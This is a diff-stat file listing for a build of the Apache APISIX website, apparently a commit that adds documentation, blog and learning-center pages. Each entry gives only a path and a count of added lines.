docs/apisix/tutorials/keycloak-oidc/index.html | 287 ++
.../tutorials/manage-api-consumers/index.html | 172 ++
.../tutorials/monitor-api-health-check/index.html | 139 +
docs/apisix/tutorials/observe-your-api/index.html | 195 ++
docs/apisix/tutorials/protect-api/index.html | 88 +
.../tutorials/websocket-authentication/index.html | 89 +
.../upgrade-guide-from-2.15.x-to-3.0.0/index.html | 360 +++
docs/apisix/wasm/index.html | 110 +
docs/apisix/xrpc/index.html | 183 ++
docs/apisix/xrpc/redis/index.html | 165 ++
docs/docker/build/index.html | 46 +
docs/docker/example/index.html | 82 +
docs/docker/manual/index.html | 71 +
docs/general/blog/index.html | 143 +
docs/general/committer-guide/index.html | 56 +
docs/general/contributor-guide/index.html | 105 +
docs/general/documentation-style-guide/index.html | 140 +
.../index.html | 218 ++
.../events/2023-apisix-meetup-malaysia/index.html | 82 +
.../events/2023-apisix-meetup-singapore/index.html | 56 +
.../index.html | 97 +
docs/general/events/index.html | 1 +
docs/general/how-to-contribute/index.html | 107 +
docs/general/join/index.html | 34 +
docs/general/release-guide/index.html | 241 ++
docs/general/security/index.html | 4 +
docs/general/submit-issue/index.html | 21 +
docs/go-plugin-runner/developer-guide/index.html | 25 +
docs/go-plugin-runner/getting-started/index.html | 252 ++
docs/helm-chart/FAQ/index.html | 41 +
docs/helm-chart/apisix-dashboard/index.html | 43 +
.../apisix-ingress-controller/index.html | 49 +
docs/helm-chart/apisix/index.html | 42 +
docs/index.html | 1 +
docs/ingress-controller/FAQ/index.html | 42 +
.../concepts/deployment-architecture/index.html | 26 +
.../concepts/gateway-api/index.html | 183 ++
.../concepts/resources/index.html | 72 +
docs/ingress-controller/configure/index.html | 38 +
docs/ingress-controller/developer-guide/index.html | 67 +
.../getting-started/configure-routes/index.html | 131 +
.../get-apisix-ingress-controller/index.html | 79 +
.../getting-started/key-authentication/index.html | 182 ++
.../getting-started/load-balancing/index.html | 178 ++
.../getting-started/rate-limiting/index.html | 154 ++
docs/ingress-controller/install/index.html | 76 +
docs/ingress-controller/overview/index.html | 112 +
.../annotation/index.html | 780 ++++++
.../api-reference/index.html | 2831 ++++++++++++++++++++
.../configuration-file/index.html | 69 +
.../configuration-troubleshoot/index.html | 22 +
.../apisix-ingress-controller/examples/index.html | 761 ++++++
docs/ingress-controller/upgrade-guide/index.html | 183 ++
.../java-plugin-runner/deployment-guide/index.html | 42 +
docs/java-plugin-runner/development/index.html | 153 ++
docs/java-plugin-runner/hot-reloading/index.html | 52 +
docs/java-plugin-runner/how-it-works/index.html | 77 +
.../installation-guide/index.html | 83 +
.../index.html | 83 +
.../developer-guide/index.html | 114 +
.../getting-started/index.html | 102 +
downloads/index.html | 1 +
edit/index.html | 4 +
events/archive/index.html | 1 +
index.html | 1 +
.../api-gateway-authentication/index.html | 115 +
.../api-gateway-for-microservices/index.html | 105 +
.../api-gateway-rate-limiting/index.html | 119 +
learning-center/api-gateway-security/index.html | 91 +
.../api-gateway-vs-load-balancer/index.html | 165 ++
learning-center/api-monetization-guide/index.html | 121 +
learning-center/apisix-vs-apigee/index.html | 109 +
.../apisix-vs-aws-api-gateway/index.html | 108 +
learning-center/apisix-vs-envoy/index.html | 102 +
learning-center/apisix-vs-kong/index.html | 151 ++
learning-center/apisix-vs-nginx/index.html | 110 +
learning-center/apisix-vs-traefik/index.html | 102 +
learning-center/archive/index.html | 1 +
learning-center/index.html | 1 +
learning-center/kubernetes-api-gateway/index.html | 143 +
learning-center/mcp-protocol-ai-gateway/index.html | 66 +
.../open-source-api-gateway-comparison/index.html | 147 +
learning-center/page/2/index.html | 1 +
learning-center/tags/ai-agents/index.html | 1 +
learning-center/tags/ai-gateway/index.html | 1 +
learning-center/tags/api-gateway/index.html | 1 +
learning-center/tags/api-management/index.html | 1 +
learning-center/tags/api-monetization/index.html | 1 +
learning-center/tags/apigee/index.html | 1 +
learning-center/tags/apisix/index.html | 1 +
learning-center/tags/architecture/index.html | 1 +
learning-center/tags/authentication/index.html | 1 +
learning-center/tags/aws-api-gateway/index.html | 1 +
learning-center/tags/best-practices/index.html | 1 +
learning-center/tags/business/index.html | 1 +
learning-center/tags/comparison/index.html | 1 +
learning-center/tags/concepts/index.html | 1 +
learning-center/tags/envoy/index.html | 1 +
learning-center/tags/gateway-api/index.html | 1 +
learning-center/tags/grpc/index.html | 1 +
learning-center/tags/index.html | 1 +
learning-center/tags/ingress-controller/index.html | 1 +
learning-center/tags/kong/index.html | 1 +
learning-center/tags/kubernetes/index.html | 1 +
learning-center/tags/llm/index.html | 1 +
learning-center/tags/load-balancer/index.html | 1 +
learning-center/tags/mcp/index.html | 1 +
learning-center/tags/microservices/index.html | 1 +
learning-center/tags/mtls/index.html | 1 +
learning-center/tags/nginx/index.html | 1 +
learning-center/tags/open-source/index.html | 1 +
learning-center/tags/protocols/index.html | 1 +
learning-center/tags/rate-limiting/index.html | 1 +
learning-center/tags/security/index.html | 1 +
learning-center/tags/tls/index.html | 1 +
learning-center/tags/traefik/index.html | 1 +
learning-center/tags/traffic-control/index.html | 1 +
learning-center/what-is-an-api-gateway/index.html | 190 ++
learning-center/what-is-grpc/index.html | 181 ++
learning-center/what-is-mutual-tls/index.html | 131 +
plugins/index.html | 1 +
robots.txt | 5 +
sitemap.xml | 1 +
team/index.html | 1 +
zh/ai-gateway/index.html | 1 +
.../index.html | 9 +
.../index.html | 9 +
.../Apache-APISIX-Incubator-Journey/index.html | 8 +
.../Apache-APISIX-Kubernetes-Ingress/index.html | 10 +
.../Apache-APISIX-in-China-Mobile-Cloud/index.html | 9 +
.../index.html | 9 +
.../index.html | 9 +
.../index.html | 9 +
.../Speed-Limiting-With-Apache-APISIX/index.html | 10 +
.../index.html | 10 +
zh/articles/The-Appeal-of-OpenSource/index.html | 9 +
.../The-Evolution-of-Apache-APISIX/index.html | 9 +
.../index.html | 9 +
zh/articles/archive/index.html | 1 +
zh/articles/index.html | 1 +
zh/articles/page/2/index.html | 1 +
.../index.html | 52 +
.../index.html | 173 ++
.../index.html | 18 +
zh/blog/2021/05/24/tencent-games/index.html | 105 +
.../05/25/apache-apisix-2.6.0-release/index.html | 38 +
.../index.html | 34 +
zh/blog/2021/06/06/apisix-two-years/index.html | 17 +
.../index.html | 140 +
.../index.html | 37 +
.../index.html | 27 +
.../index.html | 67 +
.../index.html | 158 ++
.../index.html | 110 +
.../06/28/why-we-need-apache-apisix/index.html | 56 +
.../06/29/release-apache-apisix-2.7/index.html | 38 +
.../etcd3-support-http-access-perfectly/index.html | 50 +
.../index.html | 108 +
.../2021/07/21/apache-apisix-kubernetes/index.html | 25 +
zh/blog/2021/07/25/apachecon-asia/index.html | 83 +
.../index.html | 127 +
.../07/28/release-apache-apisix-2.8/index.html | 98 +
zh/blog/2021/08/05/kong-to-apisix/index.html | 94 +
.../index.html | 128 +
.../apache-apisix-in-china-mobile-cloud/index.html | 46 +
.../08/09/apache-apisix-in-quliankeji/index.html | 115 +
zh/blog/2021/08/10/apisix-nginx/index.html | 370 +++
.../2021/08/11/interview-tuzhengsong/index.html | 86 +
.../index.html | 52 +
zh/blog/2021/08/17/interview-airwallex/index.html | 70 +
.../auth-with-casbin-in-apache-apisix/index.html | 140 +
.../08/19/go-makes-apache-apisix-better/index.html | 139 +
zh/blog/2021/08/19/weekly-report/index.html | 85 +
zh/blog/2021/08/21/shanghai-meetup/index.html | 50 +
zh/blog/2021/08/23/apachecon-asia-2021/index.html | 57 +
zh/blog/2021/08/23/weekly-report/index.html | 64 +
.../2021/08/24/shanghai-meetup-recap/index.html | 27 +
.../index.html | 258 ++
.../index.html | 108 +
.../08/27/release-apache-apisix-2.9/index.html | 50 +
zh/blog/2021/08/30/ingress-meeting/index.html | 31 +
zh/blog/2021/08/30/weekly-report/index.html | 71 +
.../index.html | 130 +
.../index.html | 190 ++
.../2021/09/07/how-to-use-apisix-auth/index.html | 75 +
zh/blog/2021/09/07/iqiyi-usercase/index.html | 73 +
.../index.html | 60 +
.../09/13/china-mobile-cloud-usercase/index.html | 64 +
zh/blog/2021/09/14/youzan/index.html | 85 +
zh/blog/2021/09/15/weekly-report/index.html | 96 +
zh/blog/2021/09/16/tencent-cloud/index.html | 47 +
zh/blog/2021/09/18/xiaodian-usercase/index.html | 83 +
zh/blog/2021/09/24/youpaicloud-usercase/index.html | 86 +
zh/blog/2021/09/28/wps-usercase/index.html | 67 +
.../09/29/release-apache-apisix-2.10/index.html | 71 +
zh/blog/2021/09/30/weekly-report/index.html | 87 +
zh/blog/2021/10/01/openeuler/index.html | 14 +
.../2021/10/09/apisix-ingress-techblog/index.html | 103 +
.../index.html | 27 +
zh/blog/2021/10/14/weekly-report-1014/index.html | 53 +
zh/blog/2021/10/18/meetup/index.html | 35 +
.../2021/10/22/cert-manager-in-ingress/index.html | 189 ++
zh/blog/2021/10/26/apisix-ingress/index.html | 85 +
zh/blog/2021/10/26/extension-guide/index.html | 158 ++
zh/blog/2021/11/02/weekly-report-1031/index.html | 92 +
zh/blog/2021/11/03/airwallex-usercase/index.html | 71 +
zh/blog/2021/11/04/skywalking/index.html | 57 +
zh/blog/2021/11/12/apisix-datadog/index.html | 220 ++
zh/blog/2021/11/16/weekly-report-1114/index.html | 62 +
zh/blog/2021/11/17/dapr-with-apisix/index.html | 124 +
zh/blog/2021/11/19/apisix-supports-wasm/index.html | 257 ++
.../index.html | 94 +
.../23/cve-2021-43557-research-report/index.html | 138 +
zh/blog/2021/11/23/cve-2021-43557/index.html | 36 +
.../apache-apisix-committer-experience/index.html | 26 +
.../30/use-apisix-ingress-in-kubesphere/index.html | 329 +++
.../01/apisix-supports-azure-functions/index.html | 239 ++
.../12/01/release-apache-apisix-2.11/index.html | 114 +
zh/blog/2021/12/02/weekly-report-1130/index.html | 96 +
.../apisix-integrate-skywalking-plugin/index.html | 126 +
.../index.html | 137 +
.../integrate-keycloak-auth-in-apisix/index.html | 128 +
.../index.html | 125 +
.../12/15/deploy-apisix-in-kubernetes/index.html | 84 +
.../12/16/apisix-with-rocketmq-meetup/index.html | 42 +
.../exposure-istio-with-apisix-ingress/index.html | 265 ++
zh/blog/2021/12/20/weekly-report-1215/index.html | 96 +
zh/blog/2021/12/22/google-logging/index.html | 242 ++
.../apisix-integrate-openwhisk-plugin/index.html | 128 +
zh/blog/2021/12/24/open-policy-agent/index.html | 193 ++
.../2021/12/28/dashboard-cve-2021-45232/index.html | 18 +
.../12/30/apisix-proxy-grpc-service/index.html | 161 ++
zh/blog/2022/01/04/authing/index.html | 265 ++
zh/blog/2022/01/05/weekly-report-1231/index.html | 74 +
.../apisix-with-shardingsphere-meetup/index.html | 57 +
.../building-apisix-in-ubuntu-for-arm/index.html | 96 +
.../how-to-proxy-dubbo-in-apache-apisix/index.html | 179 ++
.../2022/01/17/apisix-kafka-integration/index.html | 152 ++
zh/blog/2022/01/19/weekly-report-0116/index.html | 71 +
.../01/20/upyun-public-gateway-usecase/index.html | 74 +
.../apisix-hashicorp-vault-integration/index.html | 248 ++
.../index.html | 71 +
.../01/24/apisix-with-qingcloud-meetup/index.html | 28 +
.../01/25/apisix-grpc-web-integration/index.html | 249 ++
.../01/25/release-apache-apisix-2.12/index.html | 133 +
.../index.html | 61 +
.../02/10/splunk-apisix-integration/index.html | 182 ++
zh/blog/2022/02/11/cve-2022-24112/index.html | 28 +
.../2022/02/16/file-logger-api-gateway/index.html | 298 +++
zh/blog/2022/02/17/weekly-report-0214/index.html | 78 +
zh/blog/2022/02/21/nacos-api-gateway/index.html | 131 +
zh/blog/2022/02/23/csrf-api-gateway/index.html | 74 +
zh/blog/2022/02/25/consul-api-gateway/index.html | 175 ++
.../index.html | 235 ++
.../index.html | 163 ++
.../03/02/apisix-integration-graphql/index.html | 245 ++
.../zhongan-usercase-with-apache-apisix/index.html | 61 +
.../03/03/develop-apisix-with-gitpod/index.html | 61 +
zh/blog/2022/03/03/weekly-report-0228/index.html | 57 +
.../index.html | 266 ++
.../index.html | 194 ++
.../index.html | 176 ++
zh/blog/2022/03/24/weekly-report-0314/index.html | 89 +
.../03/28/release-apache-apisix-2.13/index.html | 140 +
.../2022/04/12/apisix-summit-asia-2022/index.html | 112 +
zh/blog/2022/04/20/cve-2022-29266/index.html | 33 +
zh/blog/2022/04/20/weekly-report-0420/index.html | 54 +
.../04/22/apisix-with-tidb-practice/index.html | 61 +
.../interview-juzhiyuan-apache-member/index.html | 80 +
zh/blog/2022/05/10/weekly-report-0510/index.html | 39 +
zh/blog/2022/05/19/weekly-report-0519/index.html | 72 +
.../05/31/release-apache-apisix-2.14/index.html | 143 +
.../index.html | 134 +
zh/blog/2022/06/07/weekly-report-0607/index.html | 41 +
.../index.html | 97 +
.../2022/06/14/beeto-with-apache-apisix/index.html | 78 +
.../index.html | 212 ++
.../06/14/xueqiu-with-apache-apisix/index.html | 88 +
zh/blog/2022/06/21/weekly-report-0621/index.html | 50 +
.../index.html | 170 ++
.../07/04/apisix-integrates-with-hydra/index.html | 181 ++
.../07/05/use-dataant-to-monitor-apisix/index.html | 64 +
.../index.html | 194 ++
zh/blog/2022/07/07/weekly-report-0630/index.html | 42 +
.../index.html | 137 +
zh/blog/2022/07/21/weekly-report-0715/index.html | 44 +
.../index.html | 104 +
.../index.html | 135 +
.../07/29/release-apache-apisix-2.15/index.html | 99 +
.../07/30/why-we-need-apache-apisix/index.html | 56 +
.../08/05/apisix-ingress-1.5rc1-release/index.html | 44 +
.../index.html | 141 +
zh/blog/2022/08/09/weekly-report-0731/index.html | 53 +
.../index.html | 74 +
.../index.html | 151 ++
.../index.html | 121 +
.../apisix-integrate-cncf-openfunction/index.html | 88 +
.../index.html | 157 ++
.../28/apache-apisix-3.0.0-beta-release/index.html | 172 ++
.../2022/09/30/huanbei-in-apache-apisix/index.html | 114 +
zh/blog/2022/10/18/weekly-report-0731/index.html | 54 +
.../28/apisix-ingress-with-horizon-ai/index.html | 80 +
.../index.html | 59 +
.../11/05/tencent-blueking-with-apisix/index.html | 135 +
zh/blog/2022/11/10/weekly-report-1110/index.html | 56 +
.../index.html | 65 +
.../2022/11/13/vivo-with-apache-apisix/index.html | 93 +
zh/blog/2022/11/23/weekly-report-1123/index.html | 47 +
.../index.html | 55 +
.../11/25/how-apisix-support-1000-pods/index.html | 332 +++
.../11/28/a-poor-man\342\200\230s-api/index.html" | 194 ++
zh/blog/2022/12/04/weekly-report-1204/index.html | 65 +
.../2022/12/07/junrunrenli-with-apisix/index.html | 88 +
.../2022/12/08/apisix-support-tongsuo/index.html | 139 +
.../12/09/insigma-with-apache-apisix/index.html | 94 +
.../2022/12/13/seewo-with-apache-apisix/index.html | 77 +
.../how-support-ingress-custom-plugins/index.html | 179 ++
.../2022/12/16/amazonlambda-with-apisix/index.html | 60 +
zh/blog/2022/12/16/what-is-graphql/index.html | 143 +
.../apisix-ingress-better-than-traefik/index.html | 167 ++
zh/blog/2022/12/19/auth-apisix-gateway/index.html | 158 ++
zh/blog/2022/12/22/weekly-report-1218/index.html | 84 +
.../12/27/apisix-ingress-with-Flagger/index.html | 287 ++
.../27/apisix-ingress-with-gatewayapi/index.html | 82 +
.../12/30/release-apache-apisix-3.1.0/index.html | 118 +
zh/blog/2023/01/02/2022-summary/index.html | 43 +
zh/blog/2023/01/04/weekly-report-0105/index.html | 55 +
.../01/10/release-apisix-ingress-1.6/index.html | 130 +
.../01/11/apisix-amesh-introduction/index.html | 42 +
.../11/apisix-ingress-vs-ingress-nginx/index.html | 619 +++++
zh/blog/2023/01/12/amesh-config-plugin/index.html | 75 +
zh/blog/2023/01/12/serverless-auth-type/index.html | 60 +
zh/blog/2023/01/15/mafengwo-with-apisix/index.html | 81 +
zh/blog/2023/01/18/consul-with-apisix/index.html | 214 ++
zh/blog/2023/01/18/what-is-service-mesh/index.html | 72 +
zh/blog/2023/01/19/weekly-report-0115/index.html | 52 +
.../something-about-api-gateway-policy/index.html | 122 +
zh/blog/2023/02/02/weekly-report-0202/index.html | 55 +
zh/blog/2023/02/06/2022-top10-blogs/index.html | 28 +
.../07/apisix-ingress-with-cert-mamager/index.html | 191 ++
zh/blog/2023/02/08/what-is-restful-api/index.html | 234 ++
zh/blog/2023/02/16/weekly-report-0216/index.html | 41 +
.../index.html | 227 ++
.../index.html | 113 +
.../index.html | 61 +
zh/blog/2023/03/01/weekly-report-0301/index.html | 52 +
.../03/03/api-gateway-vs-load-balancer/index.html | 70 +
.../index.html | 134 +
.../index.html | 102 +
.../03/09/release-apache-apisix-3.2.0/index.html | 156 ++
zh/blog/2023/03/16/weekly-report-0316/index.html | 51 +
.../index.html | 57 +
zh/blog/2023/03/30/weekly-report-0330/index.html | 29 +
.../index.html | 217 ++
.../2023/04/03/10-api-management-trends/index.html | 173 ++
zh/blog/2023/04/12/weekly-report-0409/index.html | 30 +
zh/blog/2023/04/26/weekly-report-0426/index.html | 21 +
.../05/08/release-apache-apisix-3.3.0/index.html | 46 +
zh/blog/2023/05/12/weekly-report-0512/index.html | 24 +
zh/blog/2023/05/24/weekly-report-0524/index.html | 25 +
.../06/01/release-apache-apisix-3.2.1/index.html | 29 +
zh/blog/2023/06/08/weekly-report/index.html | 26 +
zh/blog/2023/06/21/weekly-report-zh/index.html | 16 +
.../06/30/release-apache-apisix-3.4.0/index.html | 66 +
zh/blog/2023/07/05/weekly-report/index.html | 51 +
.../07/12/2023-apisix-meetup-malaysia/index.html | 76 +
zh/blog/2023/07/18/weekly-report/index.html | 54 +
.../07/21/release-apache-apisix-3.4.1/index.html | 8 +
.../07/23/release-apache-apisix-3.2.2/index.html | 20 +
zh/blog/2023/08/02/weekly-report/index.html | 58 +
zh/blog/2023/08/15/weekly-report/index.html | 58 +
zh/blog/2023/08/30/weekly-report/index.html | 73 +
.../09/01/release-apache-apisix-3.5.0/index.html | 152 ++
.../09/08/apisix-integrates-with-coraza/index.html | 113 +
zh/blog/2023/09/13/biweekly-report/index.html | 49 +
zh/blog/2023/09/20/apisix-3.5-preview/index.html | 86 +
zh/blog/2023/09/26/bi-weekly report/index.html | 48 +
.../10/05/release-apache-apisix-3.6.0/index.html | 70 +
zh/blog/2023/10/07/apisix-gitops-adc/index.html | 207 ++
zh/blog/2023/10/09/wecity-uses-apisix/index.html | 40 +
zh/blog/2023/10/11/bi-weekly-report/index.html | 52 +
zh/blog/2023/10/18/ingress-apisix/index.html | 153 ++
zh/blog/2023/10/26/bi-weekly-report/index.html | 58 +
zh/blog/2023/11/08/bi-weekly-report/index.html | 42 +
.../11/21/release-apache-apisix-3.7.0/index.html | 42 +
zh/blog/2023/11/23/bi-weekly-report/index.html | 31 +
.../11/30/migu-video-utilizes-apisix/index.html | 124 +
.../2023/12/01/datavisor-uses-apisix/index.html | 51 +
zh/blog/2023/12/04/bi-weekly-report/index.html | 51 +
.../2023/12/08/zhengcaiyun-uses-apisix/index.html | 199 ++
.../index.html | 98 +
zh/blog/2023/12/20/bi-weekly-report/index.html | 63 +
zh/blog/2024/01/03/bi-weekly-report/index.html | 51 +
.../01/15/release-apache-apisix-3.8.0/index.html | 94 +
zh/blog/2024/01/18/bi-weekly-report/index.html | 57 +
zh/blog/2024/01/31/bi-weekly-report/index.html | 35 +
.../index.html | 224 ++
zh/blog/2024/03/05/monthly-report/index.html | 47 +
.../03/29/release-apache-apisix-3.9.0/index.html | 102 +
zh/blog/2024/04/01/monthly-report/index.html | 32 +
.../04/29/release-apache-apisix-3.8.1/index.html | 9 +
.../04/29/release-apache-apisix-3.9.1/index.html | 9 +
zh/blog/2024/04/30/monthly-report/index.html | 32 +
zh/blog/2024/05/02/cve-2024-32638/index.html | 16 +
zh/blog/2024/05/31/monthly-report/index.html | 20 +
zh/blog/2024/06/30/monthly-report/index.html | 20 +
zh/blog/2024/07/31/monthly-report/index.html | 19 +
.../08/14/release-apache-apisix-3.10.0/index.html | 124 +
zh/blog/2024/08/31/monthly-report/index.html | 20 +
zh/blog/2024/09/30/monthly-report/index.html | 40 +
.../10/17/release-apache-apisix-3.11.0/index.html | 61 +
zh/blog/2024/11/30/bi-monthly-report/index.html | 40 +
zh/blog/2024/12/31/monthly-report/index.html | 28 +
zh/blog/2025/01/13/apisix-2024-ospp/index.html | 45 +
.../index.html | 132 +
zh/blog/2025/01/26/monthly-report/index.html | 14 +
.../02/24/apisix-ai-gateway-features/index.html | 78 +
zh/blog/2025/02/28/monthly-report/index.html | 21 +
.../2025/03/06/what-is-an-ai-gateway/index.html | 83 +
.../index.html | 182 ++
.../24/6-essential-ai-gateway-use-cases/index.html | 119 +
zh/blog/2025/03/31/march-monthly-report/index.html | 100 +
.../index.html | 178 ++
.../04/01/release-apache-apisix-3.12.0/index.html | 73 +
.../04/08/introducing-apisix-ai-gateway/index.html | 238 ++
.../21/host-mcp-server-with-api-gateway/index.html | 70 +
.../index.html | 317 +++
.../04/30/2025-april-monthly-report/index.html | 37 +
.../index.html | 253 ++
.../index.html | 72 +
.../2025/05/30/2025-may-monthly-report/index.html | 47 +
.../index.html | 152 ++
.../06/27/release-apache-apisix-3.13.0/index.html | 66 +
.../2025/06/30/2025-june-monthly-report/index.html | 80 +
.../2025/07/31/2025-july-monthly-report/index.html | 45 +
.../08/31/2025-august-monthly-report/index.html | 49 +
.../index.html | 89 +
.../2025/09/30/2025-sep-monthly-report/index.html | 33 +
.../10/10/release-apache-apisix-3.14.0/index.html | 123 +
.../10/17/release-apache-apisix-3.14.1/index.html | 12 +
.../2025/10/31/2025-oct-monthly-report/index.html | 44 +
zh/blog/2025/10/31/cve-2025-62232/index.html | 16 +
.../2025/11/30/2025-nov-monthly-report/index.html | 28 +
.../index.html | 52 +
.../2025/12/31/2025-dec-monthly-report/index.html | 37 +
.../2026/01/31/2026-jan-monthly-report/index.html | 49 +
.../02/05/release-apache-apisix-3.15.0/index.html | 81 +
.../2026/02/28/2026-feb-monthly-report/index.html | 69 +
.../2026/03/31/2026-mar-monthly-report/index.html | 30 +
.../04/07/release-apache-apisix-3.16.0/index.html | 78 +
.../2026/04/30/2026-apr-monthly-report/index.html | 73 +
.../2026/05/31/2026-may-monthly-report/index.html | 94 +
.../06/15/release-apache-apisix-3.17.0/index.html | 98 +
.../2026/06/30/2026-jun-monthly-report/index.html | 115 +
.../manage-apache-apisix-with-ai-agents/index.html | 46 +
zh/blog/archive/index.html | 1 +
zh/blog/index.html | 1 +
zh/blog/page/10/index.html | 1 +
zh/blog/page/11/index.html | 1 +
zh/blog/page/12/index.html | 1 +
zh/blog/page/13/index.html | 1 +
zh/blog/page/14/index.html | 1 +
zh/blog/page/15/index.html | 1 +
zh/blog/page/16/index.html | 1 +
zh/blog/page/17/index.html | 1 +
zh/blog/page/18/index.html | 1 +
zh/blog/page/19/index.html | 1 +
zh/blog/page/2/index.html | 1 +
zh/blog/page/20/index.html | 1 +
zh/blog/page/21/index.html | 1 +
zh/blog/page/22/index.html | 1 +
zh/blog/page/23/index.html | 1 +
zh/blog/page/24/index.html | 1 +
zh/blog/page/25/index.html | 1 +
zh/blog/page/26/index.html | 1 +
zh/blog/page/27/index.html | 1 +
zh/blog/page/28/index.html | 1 +
zh/blog/page/29/index.html | 1 +
zh/blog/page/3/index.html | 1 +
zh/blog/page/30/index.html | 1 +
zh/blog/page/31/index.html | 1 +
zh/blog/page/32/index.html | 1 +
zh/blog/page/33/index.html | 1 +
zh/blog/page/34/index.html | 1 +
zh/blog/page/35/index.html | 1 +
zh/blog/page/4/index.html | 1 +
zh/blog/page/5/index.html | 1 +
zh/blog/page/6/index.html | 1 +
zh/blog/page/7/index.html | 1 +
zh/blog/page/8/index.html | 1 +
zh/blog/page/9/index.html | 1 +
zh/comparisons/index.html | 1 +
zh/contribute/index.html | 1 +
zh/docs/apisix/FAQ/index.html | 518 ++++
zh/docs/apisix/admin-api/index.html | 2568 ++++++++++++++++++
zh/docs/apisix/apisix-variable/index.html | 124 +
.../apisix/architecture-design/apisix/index.html | 31 +
zh/docs/apisix/aws/index.html | 208 ++
zh/docs/apisix/batch-processor/index.html | 179 ++
zh/docs/apisix/benchmark/index.html | 85 +
.../index.html | 73 +
.../build-apisix-dev-environment-on-mac/index.html | 41 +
zh/docs/apisix/building-apisix/index.html | 128 +
zh/docs/apisix/certificate/index.html | 306 +++
zh/docs/apisix/control-api/index.html | 181 ++
.../customize-nginx-configuration/index.html | 52 +
zh/docs/apisix/dashboard/index.html | 103 +
zh/docs/apisix/debug-function/index.html | 115 +
zh/docs/apisix/debug-mode/index.html | 111 +
zh/docs/apisix/deployment-modes/index.html | 761 ++++++
zh/docs/apisix/discovery/consul/index.html | 278 ++
zh/docs/apisix/discovery/consul_kv/index.html | 245 ++
.../control-plane-service-discovery/index.html | 55 +
zh/docs/apisix/discovery/dns/index.html | 101 +
zh/docs/apisix/discovery/eureka/index.html | 20 +
zh/docs/apisix/discovery/index.html | 219 ++
zh/docs/apisix/discovery/kubernetes/index.html | 332 +++
zh/docs/apisix/discovery/nacos/index.html | 242 ++
.../index.html | 162 ++
zh/docs/apisix/external-plugin/index.html | 67 +
zh/docs/apisix/getting-started/README/index.html | 35 +
.../getting-started/configure-routes/index.html | 41 +
.../getting-started/key-authentication/index.html | 111 +
.../getting-started/load-balancing/index.html | 60 +
.../getting-started/rate-limiting/index.html | 56 +
zh/docs/apisix/grpc-proxy/index.html | 85 +
zh/docs/apisix/http3/index.html | 127 +
zh/docs/apisix/install-dependencies/index.html | 43 +
zh/docs/apisix/installation-guide/index.html | 131 +
zh/docs/apisix/internal/plugin-runner/index.html | 53 +
.../apisix/internal/testing-framework/index.html | 262 ++
zh/docs/apisix/mtls/index.html | 151 ++
zh/docs/apisix/plugin-develop/index.html | 311 +++
zh/docs/apisix/plugins/acl/index.html | 234 ++
.../ai-aliyun-content-moderation/index.html | 654 +++++
.../plugins/ai-aws-content-moderation/index.html | 548 ++++
zh/docs/apisix/plugins/ai-cache/index.html | 671 +++++
zh/docs/apisix/plugins/ai-lakera-guard/index.html | 375 +++
.../apisix/plugins/ai-prompt-decorator/index.html | 261 ++
zh/docs/apisix/plugins/ai-prompt-guard/index.html | 498 ++++
.../apisix/plugins/ai-prompt-template/index.html | 522 ++++
zh/docs/apisix/plugins/ai-proxy-multi/index.html | 2664 ++++++++++++++++++
zh/docs/apisix/plugins/ai-proxy/index.html | 1849 +++++++++++++
zh/docs/apisix/plugins/ai-rag/index.html | 436 +++
zh/docs/apisix/plugins/ai-rate-limiting/index.html | 1831 +++++++++++++
.../apisix/plugins/ai-request-rewrite/index.html | 829 ++++++
zh/docs/apisix/plugins/api-breaker/index.html | 153 ++
.../plugins/attach-consumer-label/index.html | 118 +
zh/docs/apisix/plugins/authz-casbin/index.html | 236 ++
zh/docs/apisix/plugins/authz-casdoor/index.html | 100 +
zh/docs/apisix/plugins/authz-keycloak/index.html | 844 ++++++
zh/docs/apisix/plugins/aws-lambda/index.html | 495 ++++
zh/docs/apisix/plugins/azure-functions/index.html | 225 ++
zh/docs/apisix/plugins/basic-auth/index.html | 1088 ++++++++
zh/docs/apisix/plugins/batch-requests/index.html | 299 +++
zh/docs/apisix/plugins/body-transformer/index.html | 754 ++++++
zh/docs/apisix/plugins/brotli/index.html | 154 ++
zh/docs/apisix/plugins/cas-auth/index.html | 139 +
zh/docs/apisix/plugins/chaitin-waf/index.html | 408 +++
.../apisix/plugins/clickhouse-logger/index.html | 350 +++
zh/docs/apisix/plugins/client-control/index.html | 87 +
.../apisix/plugins/consumer-restriction/index.html | 724 +++++
zh/docs/apisix/plugins/cors/index.html | 654 +++++
zh/docs/apisix/plugins/csrf/index.html | 116 +
zh/docs/apisix/plugins/data-mask/index.html | 295 ++
zh/docs/apisix/plugins/datadog/index.html | 299 +++
zh/docs/apisix/plugins/degraphql/index.html | 152 ++
zh/docs/apisix/plugins/dingtalk-auth/index.html | 241 ++
zh/docs/apisix/plugins/dubbo-proxy/index.html | 154 ++
zh/docs/apisix/plugins/echo/index.html | 101 +
.../apisix/plugins/elasticsearch-logger/index.html | 531 ++++
zh/docs/apisix/plugins/error-log-logger/index.html | 430 +++
zh/docs/apisix/plugins/error-page/index.html | 197 ++
zh/docs/apisix/plugins/exit-transformer/index.html | 100 +
.../apisix/plugins/ext-plugin-post-req/index.html | 21 +
.../apisix/plugins/ext-plugin-post-resp/index.html | 99 +
.../apisix/plugins/ext-plugin-pre-req/index.html | 91 +
zh/docs/apisix/plugins/fault-injection/index.html | 219 ++
zh/docs/apisix/plugins/feishu-auth/index.html | 180 ++
zh/docs/apisix/plugins/file-logger/index.html | 238 ++
zh/docs/apisix/plugins/forward-auth/index.html | 936 +++++++
zh/docs/apisix/plugins/gm/index.html | 122 +
.../apisix/plugins/google-cloud-logging/index.html | 410 +++
.../apisix/plugins/graphql-limit-count/index.html | 290 ++
.../apisix/plugins/graphql-proxy-cache/index.html | 189 ++
zh/docs/apisix/plugins/grpc-transcode/index.html | 380 +++
zh/docs/apisix/plugins/grpc-web/index.html | 181 ++
zh/docs/apisix/plugins/gzip/index.html | 141 +
zh/docs/apisix/plugins/hmac-auth/index.html | 1383 ++++++++++
zh/docs/apisix/plugins/http-dubbo/index.html | 163 ++
zh/docs/apisix/plugins/http-logger/index.html | 318 +++
zh/docs/apisix/plugins/inspect/index.html | 171 ++
zh/docs/apisix/plugins/ip-restriction/index.html | 348 +++
zh/docs/apisix/plugins/jwe-decrypt/index.html | 268 ++
zh/docs/apisix/plugins/jwt-auth/index.html | 1562 +++++++++++
zh/docs/apisix/plugins/kafka-logger/index.html | 584 ++++
zh/docs/apisix/plugins/kafka-proxy/index.html | 90 +
zh/docs/apisix/plugins/key-auth/index.html | 1253 +++++++++
zh/docs/apisix/plugins/lago/index.html | 259 ++
zh/docs/apisix/plugins/ldap-auth/index.html | 161 ++
